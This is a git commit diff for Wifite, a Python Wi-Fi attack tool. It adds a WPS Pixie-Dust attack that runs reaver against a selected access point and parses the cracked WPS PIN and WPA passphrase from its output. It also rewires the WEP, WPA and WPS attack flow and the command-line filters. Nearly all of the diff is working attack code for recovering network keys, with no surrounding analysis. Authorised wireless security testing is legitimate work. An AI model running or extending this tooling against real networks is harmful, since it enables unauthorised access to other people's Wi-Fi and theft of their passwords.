WPS PixieDust attack support
Fixed encryption filtering. More WPS-specific configurations. Various fixes.
This commit is contained in:
36
Wifite.py
36
Wifite.py
@@ -1,37 +1,63 @@
|
|||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
from py.Configuration import Configuration
|
||||||
from py.Scanner import Scanner
|
from py.Scanner import Scanner
|
||||||
from py.Color import Color
|
from py.Color import Color
|
||||||
from py.AttackWEP import AttackWEP
|
from py.AttackWEP import AttackWEP
|
||||||
from py.AttackWPA import AttackWPA
|
from py.AttackWPA import AttackWPA
|
||||||
|
from py.AttackWPS import AttackWPS
|
||||||
|
|
||||||
class Wifite(object):
|
class Wifite(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
|
'''
|
||||||
|
Main program.
|
||||||
|
1) Scans for targets, asks user to select targets
|
||||||
|
2) Attacks each target
|
||||||
|
'''
|
||||||
s = Scanner()
|
s = Scanner()
|
||||||
targets = s.select_targets()
|
targets = s.select_targets()
|
||||||
for t in targets:
|
for t in targets:
|
||||||
Color.pl('{+} starting attacks against {C}%s{W} ({C}%s{W})'
|
Color.pl('{+} starting attacks against {C}%s{W} ({C}%s{W})'
|
||||||
% (t.bssid, t.essid))
|
% (t.bssid, t.essid))
|
||||||
# TODO: Check if Configuration says to attack certain encryptions.
|
if 'WEP' in t.encryption: # TODO: and configuration.use_wep
|
||||||
if 'WEP' in t.encryption:
|
|
||||||
attack = AttackWEP(t)
|
attack = AttackWEP(t)
|
||||||
|
attack.run()
|
||||||
elif 'WPA' in t.encryption:
|
elif 'WPA' in t.encryption:
|
||||||
# TODO: Check if WPS, attack WPS
|
if t.wps: # TODO: and Configuration.use_wps
|
||||||
|
attack = AttackWPS(t)
|
||||||
|
if attack.run():
|
||||||
|
# We cracked it.
|
||||||
|
break
|
||||||
|
else: # TODO: and Configuration.use_wpa
|
||||||
|
# WPS failed, try WPA handshake.
|
||||||
attack = AttackWPA(t)
|
attack = AttackWPA(t)
|
||||||
attack.run()
|
attack.run()
|
||||||
|
else: # TODO: and Configuration.use_wpa
|
||||||
|
# Not using WPS, try WPA handshake.
|
||||||
|
attack = AttackWPA(t)
|
||||||
|
attack.run()
|
||||||
|
else:
|
||||||
|
# TODO: Error: Can't attack - encryption not WEP or WPA
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
# TODO: if attack.successful:
|
||||||
|
# TODO: Save attack.crack_result
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
w = Wifite()
|
w = Wifite()
|
||||||
try:
|
try:
|
||||||
w.run()
|
w.run()
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
|
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
|
||||||
#from traceback import format_exc
|
from traceback import format_exc
|
||||||
#format_exc().replace('\n', '\n ')
|
print '\n '
|
||||||
|
print format_exc().replace('\n', '\n ')
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
Color.pl('\n{!} {O}interrupted{W}')
|
Color.pl('\n{!} {O}interrupted{W}')
|
||||||
|
Configuration.exit_gracefully(0)
|
||||||
|
|
||||||
|
|||||||
@@ -124,12 +124,14 @@ class Airodump(object):
|
|||||||
|
|
||||||
# Parse the .CSV file
|
# Parse the .CSV file
|
||||||
targets = Airodump.get_targets_from_csv(csv_filename)
|
targets = Airodump.get_targets_from_csv(csv_filename)
|
||||||
targets = Airodump.filter_targets(targets, wep=True, wpa=True, opn=False)
|
|
||||||
|
|
||||||
# Check targets for WPS
|
# Check targets for WPS
|
||||||
capfile = csv_filename[:-3] + 'cap'
|
capfile = csv_filename[:-3] + 'cap'
|
||||||
Wash.check_for_wps_and_update_targets(capfile, targets)
|
Wash.check_for_wps_and_update_targets(capfile, targets)
|
||||||
|
|
||||||
|
# Filter targets based on encryption
|
||||||
|
targets = Airodump.filter_targets(targets)
|
||||||
|
|
||||||
# Sort by power
|
# Sort by power
|
||||||
targets.sort(key=lambda x: x.power, reverse=True)
|
targets.sort(key=lambda x: x.power, reverse=True)
|
||||||
|
|
||||||
@@ -189,15 +191,18 @@ class Airodump(object):
|
|||||||
return targets
|
return targets
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def filter_targets(targets, wep=True, wpa=True, opn=False):
|
def filter_targets(targets):
|
||||||
''' Filters targets based on encryption '''
|
''' Filters targets based on encryption defined in Configuration '''
|
||||||
result = []
|
result = []
|
||||||
for target in targets:
|
for target in targets:
|
||||||
if wep and 'WEP' in target.encryption:
|
if 'WEP' in Configuration.encryption_filter and \
|
||||||
|
'WEP' in target.encryption:
|
||||||
result.append(target)
|
result.append(target)
|
||||||
elif wpa and 'WPA' in target.encryption:
|
elif 'WPA' in Configuration.encryption_filter and \
|
||||||
|
'WPA' in target.encryption:
|
||||||
result.append(target)
|
result.append(target)
|
||||||
elif opn and 'OPN' in target.encryption:
|
elif 'WPS' in Configuration.encryption_filter and \
|
||||||
|
target.wps:
|
||||||
result.append(target)
|
result.append(target)
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|||||||
@@ -31,8 +31,8 @@ class Arguments(object):
|
|||||||
wep = parser.add_argument_group('WEP-RELATED')
|
wep = parser.add_argument_group('WEP-RELATED')
|
||||||
wep.add_argument('--wep',
|
wep.add_argument('--wep',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='wep_only',
|
dest='wep_filter',
|
||||||
help='Only target WEP-encrypted networks (ignores WPA)')
|
help='Only show WEP-encrypted networks')
|
||||||
wep.add_argument('--require-fakeauth',
|
wep.add_argument('--require-fakeauth',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='require_fakeauth',
|
dest='require_fakeauth',
|
||||||
@@ -42,15 +42,23 @@ class Arguments(object):
|
|||||||
wpa = parser.add_argument_group('WPA-RELATED')
|
wpa = parser.add_argument_group('WPA-RELATED')
|
||||||
wpa.add_argument('--wpa',
|
wpa.add_argument('--wpa',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='wpa_only',
|
dest='wpa_filter',
|
||||||
help='Only target WPA-encrypted networks (ignores WEP)')
|
help='Only show WPA-encrypted networks')
|
||||||
|
|
||||||
# WPS
|
# WPS
|
||||||
wps = parser.add_argument_group('WPS-RELATED')
|
wps = parser.add_argument_group('WPS-RELATED')
|
||||||
wps.add_argument('--wps',
|
wps.add_argument('--wps',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='wps_only',
|
dest='wps_filter',
|
||||||
help='Only target WPS-encrypted networks (ignores WEP/nonWPS)')
|
help='Only show WPA networks with WPS enabled')
|
||||||
|
wps.add_argument('--reaver',
|
||||||
|
action='store_true',
|
||||||
|
dest='reaver_only',
|
||||||
|
help='Only use Reaver on WPS networks (no handshake attack)')
|
||||||
|
wps.add_argument('--no-reaver',
|
||||||
|
action='store_true',
|
||||||
|
dest='no_reaver',
|
||||||
|
help='Do NOT use Reaver on WPS networks (handshake only)')
|
||||||
wps.add_argument('--pixie',
|
wps.add_argument('--pixie',
|
||||||
action='store_true',
|
action='store_true',
|
||||||
dest='pixie_only',
|
dest='pixie_only',
|
||||||
|
|||||||
@@ -21,11 +21,13 @@ class AttackWEP(Attack):
|
|||||||
def __init__(self, target):
|
def __init__(self, target):
|
||||||
super(AttackWEP, self).__init__(target)
|
super(AttackWEP, self).__init__(target)
|
||||||
self.crack_result = None
|
self.crack_result = None
|
||||||
|
self.success = False
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
'''
|
'''
|
||||||
Initiates full WEP attack.
|
Initiates full WEP attack.
|
||||||
Including airodump-ng starting, cracking, etc.
|
Including airodump-ng starting, cracking, etc.
|
||||||
|
Returns: True if attack is succesful, false otherwise
|
||||||
'''
|
'''
|
||||||
# First, start Airodump process
|
# First, start Airodump process
|
||||||
with Airodump(channel=self.target.channel,
|
with Airodump(channel=self.target.channel,
|
||||||
@@ -95,7 +97,8 @@ class AttackWEP(Attack):
|
|||||||
hex_key, \
|
hex_key, \
|
||||||
ascii_key)
|
ascii_key)
|
||||||
self.crack_result.dump()
|
self.crack_result.dump()
|
||||||
return True
|
self.success = True
|
||||||
|
return self.success
|
||||||
|
|
||||||
if aircrack and aircrack.is_running():
|
if aircrack and aircrack.is_running():
|
||||||
# Aircrack is running in the background.
|
# Aircrack is running in the background.
|
||||||
@@ -139,9 +142,9 @@ class AttackWEP(Attack):
|
|||||||
# XXX: For debugging
|
# XXX: For debugging
|
||||||
Color.pl('\n%s stopped, output:' % attack_name)
|
Color.pl('\n%s stopped, output:' % attack_name)
|
||||||
Color.pl(aireplay.get_output())
|
Color.pl(aireplay.get_output())
|
||||||
break
|
continue # Continue to other attacks
|
||||||
|
|
||||||
# If .xor exists, run packetforge-ng to create .cap
|
# TODO: If .xor exists, run packetforge-ng to create .cap
|
||||||
# If packetforge created the replay .cap file,
|
# If packetforge created the replay .cap file,
|
||||||
# 1. Change attack_name to 'forged arp replay'
|
# 1. Change attack_name to 'forged arp replay'
|
||||||
# 2. Start Aireplay to replay the .cap file
|
# 2. Start Aireplay to replay the .cap file
|
||||||
@@ -149,7 +152,7 @@ class AttackWEP(Attack):
|
|||||||
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
|
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
|
||||||
Color.pl('\naireplay.get_output():')
|
Color.pl('\naireplay.get_output():')
|
||||||
Color.pl(aireplay.get_output())
|
Color.pl(aireplay.get_output())
|
||||||
break
|
continue # Continue to other attacks
|
||||||
|
|
||||||
# Check if IVs stopped flowing (same for > N seconds)
|
# Check if IVs stopped flowing (same for > N seconds)
|
||||||
if airodump_target.ivs > previous_ivs:
|
if airodump_target.ivs > previous_ivs:
|
||||||
@@ -170,6 +173,12 @@ class AttackWEP(Attack):
|
|||||||
|
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
continue
|
continue
|
||||||
|
# End of big while loop
|
||||||
|
# End of for-each-attack-type loop
|
||||||
|
# End of with-airodump
|
||||||
|
|
||||||
|
self.success = False
|
||||||
|
return self.success
|
||||||
|
|
||||||
|
|
||||||
def fake_auth(self):
|
def fake_auth(self):
|
||||||
|
|||||||
@@ -17,6 +17,7 @@ class AttackWPA(Attack):
|
|||||||
def __init__(self, target):
|
def __init__(self, target):
|
||||||
super(AttackWPA, self).__init__(target)
|
super(AttackWPA, self).__init__(target)
|
||||||
self.crack_result = None
|
self.crack_result = None
|
||||||
|
self.success = False
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
'''
|
'''
|
||||||
@@ -104,8 +105,8 @@ class AttackWPA(Attack):
|
|||||||
|
|
||||||
if not handshake:
|
if not handshake:
|
||||||
# No handshake, attack failed.
|
# No handshake, attack failed.
|
||||||
raise Exception('Handshake not captured')
|
self.success = False
|
||||||
return False
|
return self.success
|
||||||
|
|
||||||
key = None
|
key = None
|
||||||
|
|
||||||
@@ -158,7 +159,8 @@ class AttackWPA(Attack):
|
|||||||
|
|
||||||
self.crack_result = WPAResult(bssid, essid, handshake.capfile, key)
|
self.crack_result = WPAResult(bssid, essid, handshake.capfile, key)
|
||||||
self.crack_result.dump()
|
self.crack_result.dump()
|
||||||
return True
|
self.success = True
|
||||||
|
return self.success
|
||||||
|
|
||||||
|
|
||||||
def save_handshake(self, handshake):
|
def save_handshake(self, handshake):
|
||||||
|
|||||||
198
py/AttackWPS.py
198
py/AttackWPS.py
@@ -1,13 +1,209 @@
|
|||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
|
|
||||||
from Attack import Attack
|
from Attack import Attack
|
||||||
|
from Color import Color
|
||||||
|
from Configuration import Configuration
|
||||||
|
from CrackResultWPS import CrackResultWPS
|
||||||
|
from Process import Process
|
||||||
|
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
import re
|
||||||
|
|
||||||
class AttackWPS(Attack):
|
class AttackWPS(Attack):
|
||||||
def __init__(self, target):
|
def __init__(self, target):
|
||||||
super(AttackWPS, self).__init__(target)
|
super(AttackWPS, self).__init__(target)
|
||||||
|
self.success = False
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
raise Exception("TODO: Crack WPS")
|
''' Run all WPS-related attacks '''
|
||||||
|
|
||||||
|
# Drop out if user specified to not user Reaver
|
||||||
|
if Configuration.no_reaver:
|
||||||
|
self.success = False
|
||||||
|
return self.success
|
||||||
|
|
||||||
|
# Run Pixie-Dust attack
|
||||||
|
if self.is_pixiedust_supported():
|
||||||
|
if self.run_pixiedust_attack():
|
||||||
|
# Pixie-Dust attack succeeded. We're done.
|
||||||
|
self.success = True
|
||||||
|
return self.success
|
||||||
|
else:
|
||||||
|
Color.pl(
|
||||||
|
'{!} {R}your version of "reaver" does not' +
|
||||||
|
' support the {O}WPS pixie-dust attack{W}')
|
||||||
|
|
||||||
|
if Configuration.pixie_only:
|
||||||
|
Color.pl('{!} {O}--pixie-only{R} set, ignoring WPS-PIN attack{W}')
|
||||||
|
self.success = False
|
||||||
|
else:
|
||||||
|
# Run WPS-PIN attack
|
||||||
|
self.success = self.run_wps_pin_attack()
|
||||||
|
return self.success
|
||||||
|
|
||||||
|
|
||||||
|
def is_pixiedust_supported(self):
|
||||||
|
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
|
||||||
|
output = Process(['reaver', '-h']).stderr()
|
||||||
|
return '--pixie-dust' in output
|
||||||
|
|
||||||
|
def run_pixiedust_attack(self):
|
||||||
|
# Write reaver stdout to file.
|
||||||
|
self.stdout_file = Configuration.temp('reaver.out')
|
||||||
|
if os.path.exists(self.stdout_file):
|
||||||
|
os.remove(self.stdout_file)
|
||||||
|
|
||||||
|
command = [
|
||||||
|
'reaver',
|
||||||
|
'-i', Configuration.interface,
|
||||||
|
'-b', self.target.bssid,
|
||||||
|
'-c', self.target.channel,
|
||||||
|
'-K', '1', # pixie-dust attack
|
||||||
|
'-a', # Automatically restart session
|
||||||
|
'-vv' # (very) verbose
|
||||||
|
]
|
||||||
|
|
||||||
|
stdout_write = open(self.stdout_file, 'a')
|
||||||
|
|
||||||
|
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||||
|
|
||||||
|
pin = None
|
||||||
|
step = '0) initializing'
|
||||||
|
|
||||||
|
while True:
|
||||||
|
time.sleep(1)
|
||||||
|
Color.clear_line()
|
||||||
|
Color.p('\r{+} {C}WPS pixiedust attack{W}: ')
|
||||||
|
|
||||||
|
stdout_write.flush()
|
||||||
|
|
||||||
|
# Check output from reaver process
|
||||||
|
stdout = self.get_stdout()
|
||||||
|
stdout_last_line = stdout.split('\n')[-1]
|
||||||
|
|
||||||
|
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
|
||||||
|
|
||||||
|
# Check if we cracked it, or if process stopped.
|
||||||
|
if (pin and psk and ssid) or reaver.poll() != None:
|
||||||
|
reaver.interrupt()
|
||||||
|
|
||||||
|
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
|
||||||
|
stdout = self.get_stdout()
|
||||||
|
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
|
||||||
|
|
||||||
|
# Check if we cracked it.
|
||||||
|
if pin and psk and ssid:
|
||||||
|
# We cracked it.
|
||||||
|
bssid = self.target.bssid
|
||||||
|
Color.pl('{G}success{W}\n')
|
||||||
|
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
|
||||||
|
self.crack_result.dump()
|
||||||
|
self.success = True
|
||||||
|
else:
|
||||||
|
# Failed to crack, reaver proces ended.
|
||||||
|
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||||
|
self.success = False
|
||||||
|
break
|
||||||
|
|
||||||
|
# Status updates, depending on last line of stdout
|
||||||
|
if 'Waiting for beacon from' in stdout_last_line:
|
||||||
|
step = '(step 1/8) initialized, waiting for beacon to associate'
|
||||||
|
elif 'Associated with' in stdout_last_line:
|
||||||
|
step = '(step 2/8) associated, waiting to start session'
|
||||||
|
elif 'Starting Cracking Session.' in stdout_last_line:
|
||||||
|
step = '(step 3/8) started session, waiting to try pin'
|
||||||
|
elif 'Trying pin' in stdout_last_line:
|
||||||
|
step = '(step 4/8) trying pin'
|
||||||
|
elif 'Sending EAPOL START request' in stdout_last_line:
|
||||||
|
step = '(step 5/8) sending eapol start request'
|
||||||
|
elif 'Sending identity response' in stdout_last_line:
|
||||||
|
step = '(step 6/8) sending identity response'
|
||||||
|
elif 'Sending M2 message' in stdout_last_line:
|
||||||
|
step = '(step 7/8) sending m2 message (may take a while)'
|
||||||
|
elif 'Detected AP rate limiting,' in stdout_last_line:
|
||||||
|
step = '(step 0/8) waiting for AP rate limit'
|
||||||
|
|
||||||
|
if 'WPS pin not found' in stdout:
|
||||||
|
# Attack failed; PIN not found.
|
||||||
|
Color.pl('{R}failed: {O}WPS pin not found{W}')
|
||||||
|
reaver.interrupt()
|
||||||
|
return False
|
||||||
|
|
||||||
|
fail_count = stdout.count('WPS transaction failed')
|
||||||
|
timeout_count = stdout.count('Receive timeout occurred')
|
||||||
|
|
||||||
|
# Display status of Pixie-Dust attack
|
||||||
|
Color.p('{W}%s{W}' % step)
|
||||||
|
|
||||||
|
continue
|
||||||
|
|
||||||
|
reaver.interrupt()
|
||||||
|
stdout_write.close()
|
||||||
|
return self.success
|
||||||
|
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_pin_psk_ssid(stdout):
|
||||||
|
''' Parses WPS PIN, PSK, and SSID from output '''
|
||||||
|
pin = psk = ssid = None
|
||||||
|
|
||||||
|
# Check for PIN.
|
||||||
|
# PIN: Printed *before* the attack completes.
|
||||||
|
regex = re.search('WPS pin: *([0-9]*)', stdout)
|
||||||
|
if regex:
|
||||||
|
pin = regex.groups()[0]
|
||||||
|
# PIN: Printed when attack is completed.
|
||||||
|
regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
|
||||||
|
if regex:
|
||||||
|
pin = regex.groups()[0]
|
||||||
|
|
||||||
|
# Check for PSK.
|
||||||
|
regex = re.search("WPA PSK: *'(.+)'", stdout)
|
||||||
|
if regex:
|
||||||
|
psk = regex.groups()[0]
|
||||||
|
|
||||||
|
# Check for SSID
|
||||||
|
regex = re.search("AP SSID: *'(.+)'", stdout)
|
||||||
|
if regex:
|
||||||
|
ssid = regex.groups()[0]
|
||||||
|
|
||||||
|
return (pin, psk, ssid)
|
||||||
|
|
||||||
|
|
||||||
|
def run_wps_pin_attack(self):
|
||||||
|
# TODO Implement
|
||||||
|
return False
|
||||||
|
|
||||||
|
def get_stdout(self):
|
||||||
|
''' Gets output from stdout_file '''
|
||||||
|
if not self.stdout_file:
|
||||||
|
return ''
|
||||||
|
f = open(self.stdout_file, 'r')
|
||||||
|
stdout = f.read()
|
||||||
|
f.close()
|
||||||
|
return stdout.strip()
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
stdout = '''
|
||||||
|
[Pixie-Dust]
|
||||||
|
[Pixie-Dust] Pixiewps 1.1
|
||||||
|
[Pixie-Dust]
|
||||||
|
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|
||||||
|
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|
||||||
|
[Pixie-Dust] [+] WPS pin: 12345678
|
||||||
|
[Pixie-Dust]
|
||||||
|
[Pixie-Dust] [*] Time taken: 0 s
|
||||||
|
[Pixie-Dust]
|
||||||
|
Running reaver with the correct pin, wait ...
|
||||||
|
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
|
||||||
|
|
||||||
|
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
|
||||||
|
[Reaver Test] Channel: 11
|
||||||
|
[Reaver Test] [+] WPS PIN: '12345678'
|
||||||
|
[Reaver Test] [+] WPA PSK: 'Test PSK'
|
||||||
|
[Reaver Test] [+] AP SSID: 'Test Router'
|
||||||
|
'''
|
||||||
|
print AttackWPS.get_pin_psk_ssid(stdout)
|
||||||
pass
|
pass
|
||||||
|
|||||||
@@ -2,6 +2,16 @@
|
|||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
|
'''
|
||||||
|
--wep : Target WEP networks
|
||||||
|
--wpa : Target WPA networks
|
||||||
|
--wps : Target WPS networks
|
||||||
|
^ Can be combined
|
||||||
|
|
||||||
|
--no-reaver : Do not use reaver on WPS networks
|
||||||
|
--reaver : Only use reaver on WPS networks
|
||||||
|
'''
|
||||||
|
|
||||||
class Configuration(object):
|
class Configuration(object):
|
||||||
''' Stores configuration variables for Wifite. '''
|
''' Stores configuration variables for Wifite. '''
|
||||||
|
|
||||||
@@ -28,8 +38,10 @@ class Configuration(object):
|
|||||||
Configuration.target_bssid = None # User-defined AP BSSID
|
Configuration.target_bssid = None # User-defined AP BSSID
|
||||||
Configuration.pillage = False # "All" mode to attack everything
|
Configuration.pillage = False # "All" mode to attack everything
|
||||||
|
|
||||||
|
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
|
||||||
|
|
||||||
# WEP variables
|
# WEP variables
|
||||||
Configuration.wep_only = False # Only attack WEP networks
|
Configuration.wep_filter = False # Only attack WEP networks
|
||||||
Configuration.wep_pps = 600 # Packets per second
|
Configuration.wep_pps = 600 # Packets per second
|
||||||
Configuration.wep_timeout = 600 # Seconds to wait before failing
|
Configuration.wep_timeout = 600 # Seconds to wait before failing
|
||||||
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
|
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
|
||||||
@@ -44,11 +56,10 @@ class Configuration(object):
|
|||||||
Configuration.wep_caffelatte = True
|
Configuration.wep_caffelatte = True
|
||||||
Configuration.wep_p0841 = True
|
Configuration.wep_p0841 = True
|
||||||
Configuration.wep_hirte = True
|
Configuration.wep_hirte = True
|
||||||
# Number of IVS at which we start cracking
|
Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
|
||||||
Configuration.wep_crack_at_ivs = 10000
|
|
||||||
|
|
||||||
# WPA variables
|
# WPA variables
|
||||||
Configuration.wpa_only = False # Only attack WPA networks
|
Configuration.wpa_filter = False # Only attack WPA networks
|
||||||
Configuration.wpa_deauth_timeout = 10 # Wait time between deauths
|
Configuration.wpa_deauth_timeout = 10 # Wait time between deauths
|
||||||
Configuration.wpa_attack_timeout = 500 # Wait time before failing
|
Configuration.wpa_attack_timeout = 500 # Wait time before failing
|
||||||
Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
|
Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes
|
||||||
@@ -65,10 +76,14 @@ class Configuration(object):
|
|||||||
break
|
break
|
||||||
|
|
||||||
# WPS variables
|
# WPS variables
|
||||||
Configuration.wps_only = False # Only attack WPS networks
|
Configuration.wps_filter = False # Only attack WPS networks
|
||||||
Configuration.pixie_only = False # Only use Pixie attack on WPS
|
Configuration.no_reaver = False # Do not use Reaver on WPS networks
|
||||||
|
Configuration.reaver = False # ONLY use Reaver on WPS networks
|
||||||
|
Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS
|
||||||
Configuration.wps_timeout = 600 # Seconds to wait before failing
|
Configuration.wps_timeout = 600 # Seconds to wait before failing
|
||||||
Configuration.wps_max_retries = 20 # Retries before failing
|
Configuration.wps_max_retries = 20 # Retries before failing
|
||||||
|
Configuration.fail_threshold = 30 # Max number of failures
|
||||||
|
Configuration.timeout_threshold = 30 # Max number of timeouts
|
||||||
|
|
||||||
# Overwrite config values with arguments (if defined)
|
# Overwrite config values with arguments (if defined)
|
||||||
Configuration.load_from_arguments()
|
Configuration.load_from_arguments()
|
||||||
@@ -81,13 +96,26 @@ class Configuration(object):
|
|||||||
''' Sets configuration values based on Argument.args object '''
|
''' Sets configuration values based on Argument.args object '''
|
||||||
if args.channel: Configuration.target_channel = args.channel
|
if args.channel: Configuration.target_channel = args.channel
|
||||||
if args.interface: Configuration.interface = args.interface
|
if args.interface: Configuration.interface = args.interface
|
||||||
if args.wep_only: Configuration.wep_only = args.wep_only
|
if args.wep_filter: Configuration.wep_filter = args.wep_filter
|
||||||
if args.wpa_only: Configuration.wpa_only = args.wpa_only
|
if args.wpa_filter: Configuration.wpa_filter = args.wpa_filter
|
||||||
if args.wps_only: Configuration.wps_only = args.wps_only
|
if args.wps_filter: Configuration.wps_filter = args.wps_filter
|
||||||
|
if args.no_reaver: Configuration.no_reaver = args.no_reaver
|
||||||
|
if args.reaver_only: Configuration.reaver_only = args.reaver_only
|
||||||
if args.pixie_only: Configuration.pixie_only = args.pixie_only
|
if args.pixie_only: Configuration.pixie_only = args.pixie_only
|
||||||
if args.wordlist: Configuration.wordlist = args.wordlist
|
if args.wordlist: Configuration.wordlist = args.wordlist
|
||||||
if args.require_fakeauth: Configuration.require_fakeauth = False
|
if args.require_fakeauth: Configuration.require_fakeauth = False
|
||||||
|
|
||||||
|
# Adjust encryption filter
|
||||||
|
if Configuration.wep_filter or \
|
||||||
|
Configuration.wpa_filter or \
|
||||||
|
Configuration.wps_filter:
|
||||||
|
# Reset filter
|
||||||
|
Configuration.encryption_filter = []
|
||||||
|
|
||||||
|
if Configuration.wep_filter: Configuration.encryption_filter.append('WEP')
|
||||||
|
if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA')
|
||||||
|
if Configuration.wps_filter: Configuration.encryption_filter.append('WPS')
|
||||||
|
|
||||||
if Configuration.interface == None:
|
if Configuration.interface == None:
|
||||||
# Interface wasn't defined, select it!
|
# Interface wasn't defined, select it!
|
||||||
from Airmon import Airmon
|
from Airmon import Airmon
|
||||||
|
|||||||
26
py/CrackResultWPS.py
Normal file
26
py/CrackResultWPS.py
Normal file
@@ -0,0 +1,26 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
from Color import Color
|
||||||
|
|
||||||
|
import time
|
||||||
|
|
||||||
|
class CrackResultWPS(object):
|
||||||
|
def __init__(self, bssid, essid, pin, psk):
|
||||||
|
self.bssid = bssid
|
||||||
|
self.essid = essid
|
||||||
|
self.pin = pin
|
||||||
|
self.psk = psk
|
||||||
|
self.time = time.time()
|
||||||
|
|
||||||
|
def dump(self):
|
||||||
|
if self.essid:
|
||||||
|
Color.pl('{+} ESSID: {C}%s{W}' % self.essid)
|
||||||
|
Color.pl('{+} BSSID: {C}%s{W}' % self.bssid)
|
||||||
|
Color.pl('{+} Encryption: {C}WPA{W} ({C}WPS{W})')
|
||||||
|
Color.pl('{+} WPS PIN: {G}%s{W}' % self.pin)
|
||||||
|
Color.pl('{+} PSK/Password: {G}%s{W}' % self.psk)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk')
|
||||||
|
crw.dump()
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ class Process(object):
|
|||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
||||||
def __init__(self, command, devnull=False):
|
def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE):
|
||||||
''' Starts executing command '''
|
''' Starts executing command '''
|
||||||
|
|
||||||
if type(command) == str:
|
if type(command) == str:
|
||||||
@@ -50,8 +50,8 @@ class Process(object):
|
|||||||
sout = Process.devnull()
|
sout = Process.devnull()
|
||||||
serr = Process.devnull()
|
serr = Process.devnull()
|
||||||
else:
|
else:
|
||||||
sout = PIPE
|
sout = stdout
|
||||||
serr = PIPE
|
serr = stderr
|
||||||
|
|
||||||
self.start_time = time.time()
|
self.start_time = time.time()
|
||||||
|
|
||||||
|
|||||||
@@ -34,6 +34,9 @@ class Scanner(object):
|
|||||||
"Command ran: %s"
|
"Command ran: %s"
|
||||||
% ' '.join(airodump.pid.command))
|
% ' '.join(airodump.pid.command))
|
||||||
|
|
||||||
|
self.targets = airodump.get_targets()
|
||||||
|
self.print_targets()
|
||||||
|
|
||||||
target_count = len(self.targets)
|
target_count = len(self.targets)
|
||||||
client_count = sum(
|
client_count = sum(
|
||||||
[len(t.clients)
|
[len(t.clients)
|
||||||
@@ -44,8 +47,6 @@ class Scanner(object):
|
|||||||
' {G}%d{W} clients.' % client_count +
|
' {G}%d{W} clients.' % client_count +
|
||||||
' {O}Ctrl+C{W} when ready')
|
' {O}Ctrl+C{W} when ready')
|
||||||
sleep(1)
|
sleep(1)
|
||||||
self.targets = airodump.get_targets()
|
|
||||||
self.print_targets()
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user